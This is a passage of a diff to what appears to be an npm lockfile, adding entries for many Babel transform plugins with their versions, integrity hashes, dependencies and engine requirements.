"engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.29.7", + "integrity": "sha512-N7zArUXWzAMzm+/N0uPBeVB3Fam5lMxtUwMmDK5f/IBBS7a7p1qeUoxd/6CckXoxUdgsntq1Dh8xNW06maZbDQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-generator-functions": { + "version": "7.29.7", + "integrity": "sha512-d98gXZkgswvkyohMBABkhm3GeXhYj8psWfwQ2C7gtfrKGTykQa/iOIi+JJhwMjPlZ6Vm2XN+DCf3Es1EoG4ZLA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-remap-async-to-generator": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.29.7", + "integrity": "sha512-pcUb2SS+RMo9TWVBwKGI5ShtoG7R+zBsFmCKDa6fe8c+hPr3XJlZgoE5j6i8W7gDjhyvy+85vmYexanvXh3d1w==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-remap-async-to-generator": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.29.7", + "integrity": "sha512-cUSmjh72N+rN4PrkFlN1dJwNCwjVp5d38/CQrEsFggkD10UiFlBFgdH3tv5dNsLuHY+3S8db2xCHjhZcv5WgvA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.29.7", + "integrity": "sha512-ONyr4+AZhKh8yKWInVxU9AXA9EbsyeLcL6V0dJy6M2/62vuvpGm29zzuymbTpdc451GEpDIdAyPLP3r+P61yKQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-properties": { + "version": "7.29.7", + "integrity": "sha512-GtcpjFvanPfzNQi3eTitsCqtRRmmqzpy/A+yhTR1HaZo1Ly3EA8ZXxlPyHdR8/IuRMYc3E4wdGBewB2QKQjAaA==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-static-block": { + "version": "7.29.7", + "integrity": "sha512-kibJgmEdX2iMwsHY2tSZNDgj8PwIlCQz7FK9KuGKO8zsuoUwSEhoNnNVp/emKWrbY4HeO6kkXfdMqRKKKXBm2A==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.29.7", + "integrity": "sha512-qV0OGGBVacduzQHE649JyCneOFI/maT+YKsO+K4Yi3xv2wTPNjM/W2o2gdzMwEAZz7fXNTHAe0NcSg30bIN69g==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.29.7", + "@babel/helper-compilation-targets": "^7.29.7", + "@babel/helper-globals": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-replace-supers": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.29.7", + "integrity": "sha512-RK7/IyU5phpuCdBAuig5VkzG/EnbDaui5SQGdU9BFrHdV+mV4cUjLMQ9lJDjLNtWHsqtiefpGZUXQP2BiTYMsA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/template": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.29.7", + "integrity": "sha512-iPX8aD6H9zV5s7ZsqTdNocPN/MGQ5sSMnElKrktxjJRMnB2jN/1p2+R7GkfD6CAYoVFqy5A4XnSIUeGgJzIWpg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.29.7", + "integrity": "sha512-3qc18hsD2RdZiyJNDNc7HQpv6xbncwh8FYtxNFFzclSyh/trPD9KkVR9BDECUjDLvb7yJVF15GfYUuC+LMkkiQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.29.7", + "integrity": "sha512-6IvRRriEMqnBwD6chtxdLpMYCHWEzN+oL5cyQtjykya19UgzbmKhxmhZgKC/LHxS2nYr9Q/qYPZ5Lr6jOL9+yQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-named-capturing-groups-regex": { + "version": "7.29.7", + "integrity": "sha512-2wiIyo2BjtgU7HufSeDnL9L2O7zr8jmhFKuSr65VpRkUiRKRNpb0mdlk56+XPPKoIrfHqzbMuglDvZun0RISsA==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-dynamic-import": { + "version": "7.29.7", + "integrity": "sha512-giOlEm/EFjfjr+te9NsdjkUo2v4f8rS/SXPumRVHAtbNcyNlvtREkU1dZzaIDclNpnaVhlCqRdFKhJBjBikzLg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-explicit-resource-management": { + "version": "7.29.7", + "integrity": "sha512-Rstj7coNz8sE+7Ju7ihpHLI564lsK5pUpNNlvptCIC/16E/S5hbl6n3kESPKdNRmqEWlpn5xpS5Q2dvXBsySLw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/plugin-transform-destructuring": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.29.7", + "integrity": "sha512-zFpMOTLZBdW5LfObqcSbL6kefg4R4eLdmvS0wbN9M6D5Mym/sKm9toOoWyVOa+xDjvCnuWcHls2YonXwHvH3CQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-export-namespace-from": { + "version": "7.29.7", + "integrity": "sha512-24B2nOy2TeJSMheqwPD4DDQOV/elLSIlKxjZt4i05H5AgdPdWR3n18HnNrcJ+j76WJd9gbwb9jPjNYUy6RautA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.29.7", + "integrity": "sha512-zeSIHh0+E1Um1WJRXCFlHQYu2ieJNdivLLjlBEp+dIBu3S51n+SZZmIXjxnItw6pz56Cn+KvK68BIBVsxq2JiQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.29.7", + "integrity": "sha512-otRWaHXE6fbAGkePvaj/kvs3HsqXfPhlnzwSOlnFgbqCPMd975dW+4wZ00WFBt+/YlBGcJwNrARQTOJOb4ZrIg==", + "license": "MIT", + "dependencies": { + "@babel/helper-compilation-targets": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-json-strings": { + "version": "7.29.7", + "integrity": "sha512-RRnE2+eon1rJAq8MnoF1b5kTpY1vU88twHcvcKMrsqP/jxIRqDVs9iJB5fqPuqyeFAW0wJo4MlUIPpQCq/aRsg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.29.7", + "integrity": "sha512-DZ/oLP21ZuWx1vKqnoNv6/tvEK48AQOBRai40CX9dTjGluvT/YZCyY3rryDtyUqCEoyNroy5KKPwX2iQCiRvyw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-logical-assignment-operators": { + "version": "7.29.7", + "integrity": "sha512-A0H91hh6W8MFRkp5TqJmMr39jzGD1A1E1Ysiv2O06Sfbhkapm+XyIzxWCEh5kqwOZ1/8QZ0dY3SeQ7XBqfJd5Q==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.29.7", + "integrity": "sha512-hl1kwFZCCiDyfH25Xmco9jTrkPgnS9pmOzSG7W5I4SaGbLeqKv417hcU2RKmaxoPEgsoJh7ZPOrnPGq99bHoUg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.29.7", + "integrity": "sha512-fxtQoH3m5ywUSIfaH0FGCzWu4McsYon5bD3K4XnskC7f+OyQMj7rsOMi4NvvmJ83WwBAg4UCe+ov4VZlqEvyew==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-transforms": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.29.7", + "integrity": "sha512-j0vCldybPC5b5dwCQOJ21uKtHzt7hxLygJTg9eF1ScfaikEDNfzn94XoW5Fi+seBR0nCyL23xaBFFkq7dTM8XQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-transforms": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.29.7", + "integrity": "sha512-TM2ZcQLoG2/y4HODiStCo10DibYhWhGWAwVv+EQKmG/7GFl0N+AAmUiXOMKM+aiJ9XBJ9AHVZBvTzMnJ2sM3cQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-transforms": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.29.7", + "integrity": "sha512-B4UkaTK3QpgCwJnrxKfMPKdo92CN7OKXAlpAAnM3UPu0Q0lCCk57ylA9AJbRy2v8dDKOPAAWcoR6CMyeoHwRCA==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-transforms": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.29.7", + "integrity": "sha512-vuFoLwr4qnv2xbZ16SQd6uPcH5FNrLHhk/Jzo++0XJFcaDsr4gjJVg6j398oMHiC+83k/GiBzviwF5KBJkPUtQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-new-target": { + "version": "7.29.7", + "integrity": "sha512-fEo41GmsOUhOBlw8ioo6zvjX5Xc2Lqkzlyfqbpsk3eB6TReV18uhxZ0esfEokVbY2+PVJAQHNKxER6lGrzNd3A==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.29.7", + "integrity": "sha512-idmp1dFaekP9GbcMvG24Kvw2BfhFZjHnNJCkV4WuIY4PskJzwI3f1N5OdgYke38T7rftO6ERulFRn2cFeZwRkg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-numeric-separator": { + "version": "7.29.7", + "integrity": "sha512-zR7fv/z14OjgHl4AgRtkDBvBMhIzCxqV/qN/2BCRC7LjFwvuzjYe7gDWxC4Wl/SNsLM6SE1IWvRPYMgSJaUvNw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-rest-spread": { + "version": "7.29.7", + "integrity": "sha512-Ld98jn4c0smUywL57m7SgsHq3OpThOa6LqZJif3G6jYOovPleoFhVrBJ1WegRApSFB2wu4+RelAj9AC9G08Z4A==", + "license": "MIT", + "dependencies": { + "@babel/helper-compilation-targets": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/plugin-transform-destructuring": "^7.29.7", + "@babel/plugin-transform-parameters": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.29.7", + "integrity": "sha512-Ea/diGcw0twB5IlZPO5sgET6fJsLJqPABqTuFWIR+iMPGPZJkATEIWx0wa+aEQ5UY1CBQyP/gkAiLEqn1vBiQA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-replace-supers": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-catch-binding": { + "version": "7.29.7", + "integrity": "sha512-sLsyndxK2VwX6yNUOakMb7Sh553ZTe/vVM1XJ+9Z5aW1ytsc8xOIwmyk05NNjN60vkc5/KqoTH6hB4V41LJhng==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-chaining": { + "version": "7.29.7", + "integrity": "sha512-6GM1dhvK3gNODkXcEcMCOLEDCLSoZ/sBbro2Ax8HURyasQ4NshagQixkRFdh5niI6E4gmA/jYI/4aT7rRos3ZQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.29.7", + "integrity": "sha512-ZDOBqV/qLYJI0YElr8DcENEyARsFQeESqWXH6gZlghYXuPPjvweuDhP4VyEi4BlUBlLRFZVjxoZDMjxhLW766g==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-methods": { + "version": "7.29.7", + "integrity": "sha512-/6Rz4DK1ETDEM/bWHsPHcaEe7ZaT1EqSXjtSP/L0DijOYuaUhiRiOKcwpZ8P7zR4xXEHc2ITdiCgBm9Tpyv9ug==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-property-in-object": { + "version": "7.29.7", + "integrity": "sha512-+BNo06dnrzdNNqCm1X6YUaVv0DKk8Q+JYcoZfOkLhYWNCXzlwTSRq8zGWayT1csjcpNXV9CQTBRRbmTLZac5cA==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.29.7", + "@babel/helper-create-class-features-plugin": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.29.7", + "integrity": "sha512-bOMRLQuI0A5ZqHq3OWJ89/rXpJ/NJrbVhXiP4zwPGMs6kpcVsuTUNjwoE30K0Qm3mf48a/TnRYYD6vPNqcg6jA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-constant-elements": { + "version": "7.29.7", + "integrity": "sha512-J0wGhKan+rIiE2OhfhRptySLrJ6SjQYM6b6N1FMlhyhCcw1Mig8vQjWchyB+bgHGDvaWo6Diu6CLRMra2uMtmg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-display-name": { + "version": "7.29.7", + "integrity": "sha512-+1wdDMGNb4UPeY3Q4L5yLiYe6TXPXubs4NjrgRFw13hPRLJfEMw2Q5OXkee6/IfdqePIeW4Jjwe3aBh7SdKz4Q==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx": { + "version": "7.29.7", + "integrity": "sha512-WsZulLVBUHXVj2cUcPVx6UE21TpalB6bHbSFErKT0Ib++ax24jjXe73FqlWvdylFOjiuPHYi6VCcgRad1ItN+A==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.29.7", + "@babel/helper-module-imports": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/plugin-syntax-jsx": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-development": { + "version": "7.29.7", + "integrity": "sha512-Xfy3UVMF04+ypnFbkhvfqtmvwfe92qwQdbGZVonhE+6v35GzlofmOnA1szaZqzb9xYWr0nl1e5EMmzi0DNON1g==", + "license": "MIT", + "dependencies": { + "@babel/plugin-transform-react-jsx": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-pure-annotations": { + "version": "7.29.7", + "integrity": "sha512-H5E+HBgDpr6Q5t+Aj11tL7XkIui1jhbIoArVQnqjgXo5/3YxkN7ZEBcWF4RQlB0T4rrxJQbXS6kiFV6B7XTqUA==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.29.7", + "integrity": "sha512-rNNFV0DBAJp988xW2DOntfDoYn1eR8GGF5AT5vYc+rjyfaQkM242c9tZUHHPe7KYaiJizXPWhQTzzdbXySyhBw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regexp-modifiers": { + "version": "7.29.7", + "integrity": "sha512-mB5Fs0VWrJ42ZCmc8114v60qetdaUVNkj9PmSZRmanCZM3S9hm0CFRLjRmYIsuXav14l2jvZ+4T8iiCGnhj3nQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.29.7", + "integrity": "sha512-5+YhdpVgmfSmwZyLMftfaiffLRMHjzIRHFHHLdibcSyJm2pasMrKHrO3Ptrt2DRshjvpgjEJJ1zVW14WPq/6QA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime": { + "version": "7.29.7", + "integrity": "sha512-xmAscdE/AsqRW7vutbPNoUmu/nF5SrLKPs7aoJgEjo35lLKA/Bc0i2rMv/hr1+Y0o1bQCiVtith3u2vdgRL39Q==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7", + "babel-plugin-polyfill-corejs2": "^0.4.14", + "babel-plugin-polyfill-corejs3": "^0.13.0", + "babel-plugin-polyfill-regenerator": "^0.6.5", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime/node_modules/semver": { + "version": "6.3.1", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.29.7", + "integrity": "sha512-I+WYbGBAiCn7nA6xBrlgPH+MB7HWb4u8pv5S0Pv7OtwNvIFvCCb24YlttKEeUFVurfBCEaOTnuhlqsb7f0Z5Dg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.29.7", + "integrity": "sha512-/u5K1QWada7tbYNqTjMh96718g9NTwh9tfPJMsSmVsQwGT447FskV+KcfeXkXq2GWki4EM/MuTdmBec+hOuVTQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.29.7", + "integrity": "sha512-BCHzNYJGe9l7EpwwDBN/ztlL2NYFFq8hp9ddjtUEM9f2O7S7kKV/lL6Fwo7IF7NSkYhPK2vO+86nIGltA90MsA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.29.7", + "integrity": "sha512-NCSEJ4sLFU2gqAub45HYh4fus2yQ36rr6ei6vpU7NdoJqCpxvEG8E6eJpscGyXP3VHD2Ny+fSXr04k1hoUrFqA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.29.7", + "integrity": "sha512-223mNGoTkBiTEWFoK+Q6Go3tueMRclO8vxxxxquNCYuNI4jWOofFKJRRDu6SDrB8Sgo1UEGW9T4GAQ8ZyRso1A==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typescript": { + "version": "7.29.7", + "integrity": "sha512-jK52h8LaLc7JarhQV2ofeFMts4H7vnOXnqZNA6fYglBTZewRBE51KWt3BUltW1P+KoPsYkHoJeXePuz4zo2LMw==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.29.7", + "@babel/helper-create-class-features-plugin": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7", + "@babel/plugin-syntax-typescript": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.29.7", + "integrity": "sha512-jCfXxSjf94lf4E0hKE0AByxF6F3/pVFqRdUUNkDJhsY0m1ZKjnN6ZYyMeHNpzflxb/0q5b7t3p+BE+SLF1WOtA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-property-regex": { + "version": "7.29.7", + "integrity": "sha512-OgZ+zoAJgZLUCunsTRQ5LAjOywDv5zzZ2/hQ5aMw1pGXyY2rtE8/chXYUmu3AlVHKpm10KEdG9aMwbI/K76ZGw==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.29.7", + "integrity": "sha512-7D/x/23/d/3VqZ0QA+LGbZMlGwZjztBygSWWWsfTPoQ1oQ6Q1P6Mr3d0kk42XabyUVw+fha3LqdRsFqeKqvCyA==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-sets-regex": { + "version": "7.29.7", + "integrity": "sha512-BLOhLht9DOJwIxlmp91wHvkXv1lguuHS3/FwUO8HL1H0u8s4hR1gASVFyilu9iGtcTRYqjTZmlsFFeQletntEg==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/preset-env": { + "version": 